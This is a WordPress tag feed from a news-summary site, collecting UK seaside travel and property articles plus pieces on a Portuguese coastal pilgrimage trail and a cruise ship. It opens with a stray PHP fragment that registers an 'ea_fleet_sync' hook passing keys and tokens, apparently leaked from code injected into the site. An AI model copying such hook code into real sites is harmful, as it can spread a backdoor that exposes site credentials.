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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); seaside – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 18 Oct 2018 06:51:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png seaside – Brief News https://briefnews.eu 32 32 The Salty Seaside Trail Most Camino Pilgrimage Trekkers Miss https://briefnews.eu/the-salty-seaside-trail-most-camino-pilgrimage-trekkers-miss/ https://briefnews.eu/the-salty-seaside-trail-most-camino-pilgrimage-trekkers-miss/#respond Thu, 18 Oct 2018 06:51:59 +0000 http://briefnews.eu/the-salty-seaside-trail-most-camino-pilgrimage-trekkers-miss/ Blistered feet and sunburned lips are the norm for any pilgrim walking the popular Camino de Santiago, which stretches 772 kilometers across the north of Spain. No matter which version you trek — the most-frequented French Way (Camino Francés, beginning in the French Pyrenees) or the Portuguese Way (Camino Portugués) — there’s little resembling an ocean view. But for those who want to revel a little in the salty spray of the wild Atlantic, there’s another, lesser-known option.

Lovely sylvan paths, dirt trails and hard cobblestone roads — plus lots of paved roads — number among the many surfaces hikers, pilgrims and cyclists trekking along one of the Camino de Santiago’s many routes will encounter. But there’s a different path, with occasional jaunts along wooden boardwalks and sandy shores: The far less traveled Portuguese Coastal Camino (Caminho da Costa), which kicks off in Porto, is a welcome detour beckoning trekkers to the seashore.

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The destination of all these different paths — whether you start in France, Portugal or Spain — is always the Santiago de Compostela cathedral in the Galician capital of Santiago de Compostela, nestled in the northwest corner of Spain. The remains of Spain’s patron saint James the Great are enshrined inside the cathedral, and are the root historical cause putting people on these pilgrimage trails.

There are refreshing ocean breezes to cool you on hot summer days (or hard winds to bowl you over, which happens too).

“The first stage of the official Coastal Camino, between Porto and Vila do Conde, is mostly walking on pavement or cobbled roads,” explains Kat Davis, author of the The Camino Portugués guidebook. She suggests walking along the Douro River to the Atlantic before following the ocean north, which is more scenic, “with the chance to walk on softer surfaces, like boardwalks or sand.” The Portuguese section of the route runs along the Atlantic through many charming (perhaps the most popular adjective used in the guidebook world) coastal towns, like Vila do Conde, Esposende, Viana do Castelo and finally Caminha on the Minho River, where pilgrims cross by ferry into Spain to reconnect with the more inland Camino Portugués.

The Coastal Camino should take around six or seven days to walk, with another nine days or so in Spain to reach Santiago de Compostela, with plenty of albergues (low-cost pilgrim hostels) along the way for weary hikers to collapse in at night. And while the coastal way provides plenty to see and do, Davis warns that some might be disappointed — there aren’t as many beach or boardwalk trails “as you would expect” from the name. When it comes to Portugal’s cobblestone roads, trekkers can either view them “as treating your feet to a free massage, or just plain painful,” she adds. Those who opt for the coastal detour will have to deal with a dearth of pilgrim amenities, but will be blessed with fewer hills and pilgrims and less traffic. Plus there are refreshing ocean breezes to cool you on hot summer days (or hard winds to bowl you over, which happens too).

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Beyond Porto, walkers will pass by ancient tanks used for salting fish built by the Roman Empire on Praia de Angeiras, just north of the fishing village of Matosinhos (I’ve tucked into some tasty fish there). Trekkers can then visit the naval museum in Vila do Conde, swing by the hilltop Santuário de Santa Luzia (a Byzantine-inspired 20th century temple) in Viana do Castelo, with majestic ocean, town and forest views. And who could pooh-pooh the allure of Caminha, with its charming (there’s that word again) cafés and narrow cobblestone streets, which marks the end of the Portuguese section of the coastal trail?

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Davis recommends catching the baroque gilded wood carvings inside Igreja da Misericórdia, a church in Esposende, as well as the short forest walk beside the Neiva River. We both agree that no matter where you happen to be in Portugal, starting the day with a Portuguese coffee (typically costs less than 1 euro) and a pastel de nata (a simple, tasty custard tart) makes for a sunnier disposition overall — even if it happens to be raining.

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Many Britons are keen to get some sunshine and enjoy the sea air by purchasing homes in seaside towns.

However, seaside areas around the UK vary hugely in house prices, with certain postcodes costing an arm and a leg.

A new report from Halifax reveals just how expensive seaside towns can be by listing the top ten.

The most expensive areas tend to be clustered around the south west and south east coasts of the country.

Sandbanks, Poole came top with the most expensive house prices, with an average property costing £626,553 in 2018.

Salcombe, South Devon came second with house prices on average £577,591.

In third place was Aldeburgh, Suffolk. An average property there costs £535,872.

Russell Galley, Halifax Managing Director, said: “It’s no surprise that the south coast continues to be home to the most expensive seaside towns in the country, including those with the greatest growth in house prices over the last 10 years.

The biggest house price increases in the past decade were see in Burnham On Crouch (a 57 per cent change from £210,404 to £303,684) and Whistable (also 57 per cent rising from £234,995 to £368,563).

Aldeburgh prices also surged, rising from £343,264 in 2008 to £535,872 in 2018 – a 56 per cent increase.

However, some of the house prices in seaside towns have actually dropped in recent years. 

This price drop includes the top two on the most expensive list.

Russell said: “What we can see though is that the two most desirable locations have in fact seen prices drop over the last year.

“This fall is likely to have been impacted by the higher costs of stamp duty for these more expensive homes.”

The cheapest seaside town, meanwhile, was Newbiggen by the Sea in Northumberland, where the average house price is £94,385.

Earlier this week, the best area to invest in buy-to-let property was revealed.

Many will be surprised to learn that London is not an area where there are big profits to be made – despite sky high rent.

In fact, Liverpool is the best city to buy-to-let in.

The research revealed that an influx of students in the area has caused a booming rental market.

The money experts said: “Our research shows university cities have some of the highest rental yields, with Liverpool, Manchester, Middlesbrough, Newcastle upon Tyne, and Edinburgh shown to be top performers.

“Due to new students arriving in these cities year after year, there’s no shortage of tenants for landlords to choose from, making void periods very unlikely.”

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It seems obvious now but the blueprint for MSC Seaside to give passengers sea views from every angle was a game-changer for the cruise industry.

Inspired by Miami beach condos it has the widest waterfront boardwalk on any ship, two glass-floored catwalks and a 40-metre high Bridge of Sighs to give passengers more opportunities to see the sea, claims MSC, than on board any other cruise ship.

Other cruise lines are now following MSC’s lead but with 5,179-passenger Seaside, launched in December 2017, to be followed by sister ship Seaview in June 2018 plus two more Seaside EVO ships (the next class up) in 2021 and 2023, the Swiss-owned Italian-style cruise line is having its moment in the sun.

And that’s exactly what MSC Seaside was designed for – to follow the sun – with its terraced balcony cabins, luxurious suites that have their own outdoor whirlpool baths and more opportunities to eat outdoors than on previous MSC ships.     

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MSC Seaside is all about innovation and of its 2,066 staterooms 111 are flexible modular cabins with inter-connecting doors that are perfect for multi-generation family holidays or groups of friends.

More than 70 per cent of the cabins have balconies – 1,315 of them – with chairs (or loungers in suites) overlooking the ship’s promenade on deck seven.

There are 28 luxury suites with a whirlpool on their private balconies plus 14 Grand Suites.

The ship within a ship, MSC Yacht Club, has a 24-hour concierge service, a private pool and large private sun deck for the exclusive use of Yacht Club passengers, plus two dedicated massage rooms in MSC Aurea Spa and a dedicated gourmet restaurant and lounge bar. 

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MSC Seaside’s new revolutionary design gives passengers sea views from every angle

Most staterooms – plum and grey are the predominate colours – are of average size and shape within the cruise industry these days but what is different is the recycling bin with different sections for plastic, paper and food – emptied at least twice a day.

They all have double beds that can be separated into singles, TVs with cable channels plus on-demand films and an MSC channel for booking restaurants or excursions etc.

Most also have sofas (not interior cabins) and the ensuite shower rooms have wall mounted shower gel and shampoo dispensers in the standard cabins. 

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MSC Seaside’s three Asian restaurants have menus created by American celebrity chef Roy Yamaguchi

DINING

There are 11 dining venues in all including two buffets, a first for MSC Cruises: the main Marketplace Buffet on deck eight offers Mediterranean, American, vegetarian and even wellness food while The Biscayne Bay Restaurant next to the Sun Deck Pool on Deck 16, has more classic American menus.

The other complimentary restaurants are Ipanema and Seashore – both with waiter-served American or international dishes – and there are four speciality restaurants that have cover charges.

These include Asian Fusion, an a la carte pan-Asian restaurant; Sushi Food Bar, serving sushi, sashimi and tempura; and Teppanyaki Restaurant with dishes such as teriyaki filet mingon – all three have menus created by American celebrity chef Roy Yamaguchi.

The other paid-for restaurants are Bistrot-La Boheme, offering French fare; Butcher’s Cut, for steak-lovers, and Ocean Cay, which has a seafood theme.

For chocolate fans there is Venchi 1878 Chocolate Bar and Venchi 1878 Gelato & Creperie, offering some of the Italian chocolate-maker’s finest products. 

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The outdoor bar Aurea Bar can be found beside the Deck 19 pool

ENTERTAINMENT

The Metropolitan Theatre has four sittings of a Broadway-style show each evening with seven brand new shows.

These range from Butterflies – an abridged production of Puccini’s Madame Butterfly – and My Life In Music – movie soundtracks inspired by composer Ennio Morricone performed live.

There’s also The Wizard, an illusionist show, and Peter Punk, which is a new look at the Peter Pan story.

North American comedy company BeerProv makes its debut with six different late-night shows during each cruise and there are 19 bars around the ship, ranging from a Champagne Bar on deck seven in the Atrium – the heart of the ship – to Haven Lounge for cocktails and live music.

There’s also a Sports Bar on deck eight, selling draft and craft beer and screening mostly American sport, plus outdoor bars such as Aurea Bar beside the Deck 19 pool. 

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Alternatively, you can try the interactive XD cinema, a 5-D cinema with interactive movie games, a full-size bowling lane plus games including air hockey and MotoGP, while the F1 Simulator is so authentic that professionals use similar outifts to practice.

During the day the four waterslides will keep children and the young at heart happy and there are also two 105-metre zip lines – the longest at sea.

Among the six pools is one with a retractable roof so it can be enjoyed whatever the weather, and Aurea Spa – an authentic Balinese spa – has a blower pool in its thermal area where the other facilities include Finnish saunas, steam rooms, a salt relax room and snow room.

An adults-only Exclusive Solarium on deck 19 is also available for those who want peace and quiet, or there’s a large gym featuring the most advanced kinesis fitness equipment.

But MSC Cruises, true to its Italian heritage, is also fabulous for families and MSC Seaside has some of the best children’s facilities available. 

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AquaPlay is a water park especially designed for toddlers

There are five different age-group clubs, starting from Baby Club Chicco for under-3s, up to Teen Club for 15 to 17-year-olds.

All these are free and superbly equipped with babycare brand Chicco toys, LEGO for the middle groups and video games for the older children.

Doremi Studio is equipped for parents and children to play together and there’s the superb Adventure Trail of rope bridges suspended above the Aqua Park.

The Forest Aquaventure Park itself has four water slides including two high-speed racing slides with clear loops that extend over the side of the ship.

And for younger children there’s AquaPlay, especially designed for toddlers. 

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MSC Seaside will homeport in Miami, Florida, for fly-cruises to the Bahamas and the Caribbean

MSC Seaside will homeport in Miami, Florida, for fly-cruises to the Bahamas and the Caribbean.

Throughout 2018 it will call as St John’s, Antigua and Barbuda; Freeport in the Bahamas; the Mexican resort island of Costa Maya; Charlotte Amalie on the US Virgin Islands; Philipsburg in Sint Maarten and San Juan in Puerto Rico.

A seven-night sailing from Miami, departing February 3, 2018, costs from £599pp, two sharing, cruise only.  

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The seaside town holiday was one of the most popular trips by Britons this year as many chose a staycation instead of heading abroad.

Indeed, with some European countries currently at risk of a measles outbreak, it certainly makes sense to stay closer to home.

It has since been revealed which is the best seaside town in the UK for 2017, as voted by the general public.

Surprisingly, it isn’t Cornwall or Devon that took the top spot.

The British Travel Awards 2017 found that Bournemouth was the winner, for the third year in a row.

Just under 360,000 registered to vote, as the town beat Brighton and Bude for the gold, despite Brighton apparently being one of the happiest places in the UK.

Bournemouth’s sandy beaches and busy nightlife means it was crowned the best place for a seaside holiday for the family this year.

Many head to the spot in the summer to visit the famous attractions, as well as visit Poole Harbour, the largest natural harbour in the world.

Mike Francis, president of Bournemouth and Poole Tourism Management Board, said: “This is a fantastic achievement for Bournemouth and it is great knowing that this award was voted for by our visitors. 

“This is recognition of the huge recent investment in the resort and of all the hard work of our local tourism businesses in delivering a diverse and exciting offer.”

Cllr Pat Oakley, portfolio holder for tourism, leisure and the arts said: “I am thrilled that Bournemouth has won this award for best UK seaside town for the third time. What an endorsement for our resort.

“I would like to express my sincere gratitude to all those who work so hard in the tourism and hospitality sectors and massive congratulations to the whole town.”

Scientists have also found that being by the sea does improve happiness.

A study of over 4,500 people found that living near the coastline gives “greater psychological contentment” than being further inland.

People also reported to feeling more relaxed and refreshed after a short visit to the sea.

Psychology expert Dr Kayleigh Wyles, who undertook the research at Plymouth Marine Laboratory, commented: “These findings are important as they not only help unpick the mechanisms behind these psychological benefits, but they can also help to prioritise the protection of these environments.”

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In a nationwide survey into the satisfaction of the nation, Brighton and Hove was crowned the happiness capital, with over a third of the city’s population choosing the word “happy” to describe their lives.

In contrast, just 16 per cent of Edinburgh residents described their lives as “happy” favouring the words “anxious” and “depressed” instead.

Brighton, renowned for its party atmosphere, beat competition from Leicester and Portsmouth to take the top spot.

Oxford, Norwich and Bristol also appeared in the top ten happiest cities to live in, while Manchester, Belfast and Cardiff all took high positions.

Marketing Director Kerry Collinge, for 9NINE Super Seed brand, which commissioned the study, said: “Brighton residents have found themselves topping our happiest city chart.

”Maybe it’s the sea air and sunny weather that keeps them smiling.’’

The study asked 3,000 Brits to consider their general life satisfaction and rate how they feel on a scale of one to ten.

Oxford came top in the life satisfaction stakes with a score of 6.72 out of ten, while Edinburgh found itself at the bottom of the table with a life satisfaction average of 5.89 out of ten.

When asked to rate their life satisfaction on a scale from one to ten the average Brit gave themselves a middling 6.37 out of ten.

Just one in ten rated their life satisfaction at nine or above, indicating excellent life satisfaction.

Researchers also looked into the ways we boost our mood and found three in five look to bed for comfort in hard times, and over half lean on family for support.

Forty three per cent play their favourite music when they need to raise their spirits with reading a book proving more popular for boosting our serotonin levels than sex.

And it’s the typical British weather which is most likely to get us feeling down in the dumps first place, with 40 per cent claiming inclement weather has a negative effect on their emotions.

Kerry Collinge added: “Our study has helped to show that when it comes to the secret of happiness the simple things in life are usually best.

“Forty winks, close friends and enough time with our favourite food and entertainment seem to keep a smile on the faces of most.”

THE HAPPIEST CITIES IN THE UK:

1. Brighton and Hove

2. Leicester

3. Portsmouth 

4. Newcastle

5. Oxford

6. Chelmsford

7. Norwich

8. Bristol

9. London

10. Cambridge

11. Manchester

12. Belfast

13. Coventry

14. Cardiff 

15. Birmingham

16. York

17. Plymouth

18. Sheffield

19. Leeds

20. Glasgow

21. Southampton

22. Liverpool

23. Edinburgh

BEST UK CITIES FOR LIFE SATISFACTION:

1. Oxford

2. Bristol

3. Brighton and Hove

4. Chelmsford

5. Leeds

6. Leicester

7. Newcastle

8. Southampton

9. Manchester

10. Portsmouth

11. London

12. Norwich

13. Glasgow

14. Cardiff

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Seaside towns are a great way to spend a UK holiday without breaking the bank.

UK holidays are on the rise post-Brexit, as many resorts and B&B’s have reported a huge surge in bookings.

However, credit card company Marbles have found the best place to go for a seaside holiday, taking into account different factors that make the perfect trip.

Surprisingly the top spot isn’t Cornwall or Devon, the usual hotspot for Britons.

The best place for a seaside holiday has emerged as Southwold in Suffolk.

The data analysed various aspects including the hotel prices, the number of restaurants, pubs, and fish and chips shops, weather average taxi fare, how good the beach is and the amount of attractions in the area.

The Suffolk coast beat out the popular spots of Padstow, which came in at fifth, and Salcombe in at ninth, for getting full marks for the amount of restaurants, best beach and a good number of attractions.

Others that made it into the top few were Bamburgh in Northumberland and Woolacombe in North Devon.

It’s not the first time that Cornwall and Devon have been beaten to the top for the best holiday in the UK.

UK staycation specialist Sykes Cottages actually found that the north of England is much more in demand for an easy break.

Locations such as the Lake District and Yorkshire Dales beat the south of England for popular places to travel to with the family.

Just 23 per cent of bookings were for the south of England.

James Shaw, Chief Marketing Officer at Sykes Cottages, commented on the new findings: “More of our customers than ever before wanting to take in the unique culture and sights on offer ‘up North’. 

“Overall, our holiday bookings have shot up by 21 per cent year-on-year as more people cotton on to the brilliant experiences on their doorstep.”

This can also be accredited to the recent UNESCO heritage listing of the Lake District.

It is the first place in the UK to be given the prestigious listing.

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British Airways i360 is a new addition to Brighton’s landscape

But now there’s a spectacular 21st-century addition to the landscape in the shape of the British Airways i360, the world’s slenderest tall tower.

The 531ft steel tube is encircled by a glass pod which carries up to 200 people 453 feet above Brighton’s coast.

It’s taller than the London Eye yet built by the same architects who wanted to create the world’s first vertical cable car.

The impressive glass pod reminds me of a spaceship.

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The glass pod carries up to 200 people 453 feet above Brighton’s coast

It’s smooth, elegant curves offer 360-degree views all the way to the white cliffs at Beachy Head and the South Downs.

I had booked to ride on what was possibly Brighton’s most blustery summer evening, so windy that I couldn’t stand on the boarding platform for fear of being tossed into the angry sea.

The thought of heading up to the heavens was daunting.

We distracted ourselves by watching the 60ft-wide glass pod glide back into position and thankfully there wasn’t a wobble thanks to a 4,000-ton concrete base.

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The pod climbs at 1.3ft per-second

Once on board I was too busy ordering my Brighton gin and tonic from the Nyetimber Sky Bar (other drinks include Nyetimber sparkling, Harvey’s Brewery’s Sussex Best Bitter and Wobblegate apple juice) to even notice we’d starting moving.

We climbed at a slow 1.3ft-per-second and the whole flight took around 30 minutes.

The bar sits to one side while a narrow bench provides the only seating.

Most prefer to move around taking in as many views as they can and selfies. And what views.

The sun emerged from behind threatening clouds and cast a golden glow over the rolling South Downs.

The surf crashed on the pebbled beach below while being so high, meant we had the chance to see the murals that had been painted onto the roofs of many apartment blocks.

From this great height we could pick out the grand Regency Square, even the pier’s crazy rides hanging out over the sea, the rows of bathing huts fronting Hove Lawns and Shoreham Power Station.

The reaction from locals has been mixed.

Many would have preferred to see the rotting West Pier restored.

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Instead, this futuristic attraction distracts from the forlorn rusting frame and gives a modern injection to a Victorian seafront.

Check into the charismatic Artist Residence which sits on Regency Square just behind the i360.

This boutique beauty oozes Brighton’s effortless style with exposed bricks, fabulous, modern artwork and reclaimed furniture including rustic headboards.

There are Smeg mini fridges, Roberts radios, a basket of treats and generous pump action toiletries on tap.

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The Artist Residents sits on Regency Square

The 13 rooms are all different but for extraordinary views across to the i360, book room 23.

Downstairs, The Cocktail Shack bar with its ceiling covered in hanging pots attracts a funky crowd.

The Set Restaurant continues the salvaged theme with wooden tables, industrial metal chairs and herbs in pots.

A top British tasting menu of beetroot, lovage, quail egg, cuttlefish and pig cheek is available for £39. A taste on the new Brighton.

i360 (03337 720360/britishairwaysi360.com). Adults £16: £8 per child.

The Artist Residence Brighton (01273 324302/artistresidencebrighton.co.uk) offers doubles from £95, B&B.

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Broadstairs in Kent was voted Britain’s favourite seaside property hotspot in 2017

With its vintage, family-friendly charm and its close connections with author Charles Dickens, Broadstairs has seen average property values surge by 10.45 per cent in the last 12 months and has overtaken neighbouring Margate, which topped the league last year, according to research from Zoopla. 

Margate was pushed into fifth place in this year’s study.

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The property website analysed average property prices across Britain’s popular seaside locations over the last 12 months to find the strongest and weakest-performing coastal towns for 2017.

Southern England continues to dominate the rankings, with Walton-on-the-Naze, Sidmouth and Penzance following Broadstairs and seeing average property price increases of 9.43 per cent, 7.51 per cent and 6.99 per cent respectively.

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Walton-on-the-Naze in Essex was voted the second favourite, with 9.43 per cent of the vote

With Broadstairs’ Dickensian history and proximity to London it’s easy to see why it tops the list of this year’s best-performing seaside hotspots.

Lawrence Hall, Zoopla spokesman

Blyth in Northumberland, a filming location for ITV’s detective drama Vera, bucked the trend as the only location in northern England to make the top 10. 

Average property prices there have grown by 5.64 per cent since June 2016 to reach £130,566.

At the other end of the spectrum, Aberdeenshire’s Collieston and Cruden Bay came bottom of the league of house price movements, with average property prices falling by 4.79 per cent over the past 12 months. 

Whitby followed closely behind with a 4.49 per cent fall, along with North Berwick with a 4.41 per cent decline.

Meanwhile Port Isaac in Cornwall, a location for another popular TV series, Doc Martin, came fifth on Zoopla’s list of Britain’s priciest seaside towns.

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Salcombe in Devon is the highest average property value at an average £635,435, according to Zoopla

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The average value of a home in Port Isaac was put at £388,620.

Property prices in Port Isaac have, however, fallen slightly since June 2016, by 0.13 per cent, Zoopla found.

Salcombe in Devon continues to be the priciest place for a sea view, with average property prices at £635,435, Zoopla found.

Meanwhile, Saltcoats in Scotland was identified as the least expensive seaside location, with the average property there costing £110,761. 

It was followed by the bright lights of Blackpool, where the average home is valued at £120,239, Cleethorpes where the typical property is priced at £130,323 and Kilchattan Bay on the Isle of Bute in Scotland, where the average property price is put at £130,380.

Zoopla spokesman Lawrence Hall said: “With Broadstairs’ Dickensian history and proximity to London it’s easy to see why it tops the list of this year’s best-performing seaside hotspots.

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Port Isaac in Cornwall came fifth on Zoopla’s list of Britain’s priciest seaside towns

TOP 10 SEASIDE HOTSPOTS IN BRITAIN IN 2017, ACCORDING TO ZOOPLA, WITH THE YEAR-ON-YEAR PERCENTAGE INCREASE IN PROPERTY VALUES AND THE AVERAGE PROPERTY VALUE:

1. Broadstairs, Kent, 10.45 per cent, £313,813 

2. Walton-on-the-Naze, Essex, 9.43 per cent, £231,410 

3. Sidmouth, Devon, 7.51 per cent £388,331

4. Penzance, Cornwall, 6.99 per cent, £262,089 

5. Margate, Kent, 6.86 per cent £217,988 

6. Falmouth, Cornwall, 6.49 per cent £338,756 

7. Clacton-on-Sea, Essex, 5.88 per cent £218,125 

8. Blyth, Northumberland, 5.64 per cent £130,566 

9. Newquay, Cornwall, 5.12 per cent, £257,182 

10. Southend-on-Sea, Essex, 4.89 per cent £288,424 

SEASIDE TOWNS WITH THE HIGHEST AVERAGE PROPERTY VALUES ACCORDING TO ZOOPLA:

1. Salcombe, Devon, £635,435 

2. Aldeburgh, Suffolk, £517,517 

3. Southwold, Suffolk, £455,983 

4. Lyme Regis, Dorset, £417,562 

5. Port Isaac, Cornwall, £388,620 

6. Sidmouth, Devon, £388,331 

7. Brighton, East Sussex, £378,495 

8. Woolacombe, Devon, £361,880 

9. North Berwick, East Lothian, £361,540 

10. Swanage, Dorset, £361,046

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DorsetMIKE CHARLES

The Dorset coast is the perfect place for ‘3G break’

I can’t say I really blame her – it’s not quite what I had in mind either when I booked our luxury weekend getaway to Dorset.

Truth be told, I had secretly hoped that by taking Mum we would be able to offload some childcare responsibilities, and I’m probably not the only one to have this bright idea.

According to recent research, three-generation or ‘3G breaks’ are all the rage. The increase in popularity is partly the result of baby-boomer grandparents downsizing from large family homes but still wanting to host children and grandchildren.

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Still, even without Nanny to help dig up old bones, our rampaging four-year-old twins and their stroppy eight-year-old sister have a whale of a time, charging up and down the shoreline.

And it is quite fun, even if it’s a bit early in the year for the Famous Five scenario of sunny, sandy beaches, secret coves, ice creams, buckets and spades I optimistically pictured.

When a sudden downpour calls a halt to our expedition, my husband and I are momentarily panic stricken.

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Laura Milne and family found Chesil Beach to be the perfect place for three generations

That is until we realise we now have the perfect excuse to head back to our hotel. And if you are seeking refuge from the unpredictable British summer, Moonfleet Manor is the place to do it.

This elegant Georgian manor house overlooking the sea, just up the road from the seaside town of Weymouth, is part of the Luxury Family Hotels group.

Situated opposite Chesil Beach, an 18-mile-long pebble spit on Dorset’s world-famous Jurassic Coast, this area was notorious for shipwrecks and smugglers in the 18th century.

Spirits, tea and tobacco were shipped in the dead of night, wrapped in oilskins and submerged in lagoons until customs men were out of sight.

The hotel’s main claim to fame is that parts of J. Meade Falkner’s famous smuggler’s tale Moonfleet (later made into a 1955 film starring Stewart Granger) were written here, adding to the romance.

Decor is quirky, with animal heads and skins decorating the walls and the atmosphere is laid back and relaxed. So no one bats an eyelid when we return sodden, squelching through reception in wet, sandy wellies and dripping anoraks.

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The eclectic, laid-back interior of Moonfleet Manor

I realise my mum probably had the right idea by opting to enjoy afternoon tea in the bright conservatory-style restaurant before sloping off to the spa for a luxurious massage, rather than chasing after my offspring.

Yet it seems we are not the only ones enjoying a multigenerational seaside break. On the weekend we visited, there were three other large family groups at Moonfleet.

It’s a place that caters well for families, with a range of suites and interconnecting rooms available to accommodate groups of varying sizes.

Our luxurious shabby-chic style suite, located in a separate annexe away from the main hotel, had a spacious seating area with a big squashy sofa, a separate children’s room, verandah and huge colonial-style bathroom. Mum was given a spacious double room directly across the landing so she could easily escape us when she chose to.

The extensive range of family-friendly facilities includes a heated indoor swimming pool, free creche and a vast indoor play area. There is also an indoor football pitch, trampolines, snooker room, skittle alley, soft play area and ride-on toys for energetic toddlers to tire themselves out on, before heading for high tea.

A baby-listening service is available at any time of day, or staff can arrange a babysitter. We even got to take the hotel’s resident dog Snoopy for a walk.

Once they had dried off and refuelled, the children climbed into their pyjamas and headed for the cinema room to curl up and watch a family movie.

That gave us grown-ups the opportunity to nip off to the restaurant and have a proper conversation, for a change, over dinner.

Among the tasty treats on the menu were local scallops from Lyme Bay and crab from the nearby island of Portland all prepared by chef Stephen Wilson.

At 8 o’clock the next morning one of the creche staff arrived to whisk the three children to breakfast club.

As we enjoyed an undisturbed cup of tea in bed, facing a breathtaking view of Chesil Beach bathed in a golden morning light, I reflected that there’s a whole side of Dorset we hadn’t seen – the 1950s picture-postcard Dorset of steam trains, ice cream and lashings of ginger beer.

But that might just give us the perfect excuse to come back.

THE KNOWLEDGE Moonfleet Manor (01305 786 948/ moonfleetmanorhotel.co.uk) offers two nights from £360 (four sharing), B&B and one dinner. Dorset tourist board: visit-dorset.com

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Tourism in the UK has faced a Brexit boom as travellers seek a holiday a bit closer to home.

Seaside towns have faced a huge increase in bookings since last year’s Brexit vote, as staycations continue to be the popular choice this year.

Over five thousand B&B’s across the nation were used in the survey by online booking specialists Evvivo.

The B&BS found an increase of bookings up by 19.2 per cent post the Brexit vote.

Eviivo also found that B&B’s who were labelled as ‘family friendly’ had a huge in bookings with an increase of 56.9 per cent year on year.

The most popular places included Penzance, Scarborough and Torquay as families head to the beautiful seaside towns.

The online booking specialist has called it the ‘Enid Blyton’ effect with families choosing nostalgic places as mentioned in the famous series.

As more and more travellers are realising the options that the UK has to offer for a summer holiday, the popularity of staying in the country is sure to keep rising.

Tom Messett, CMO at Eviivo, commented on the analysis of the survey.

“It’s looking more like a Pirates of Penzance summer than a Pirates of the Caribbean summer,” he joked.

However, he also noted the change in recent years which has attributed to their recent success.

“British B&B’s, the seaside or otherwise, have changed beyond recognition in the last 10 years. The cliches are a thing of the past.”

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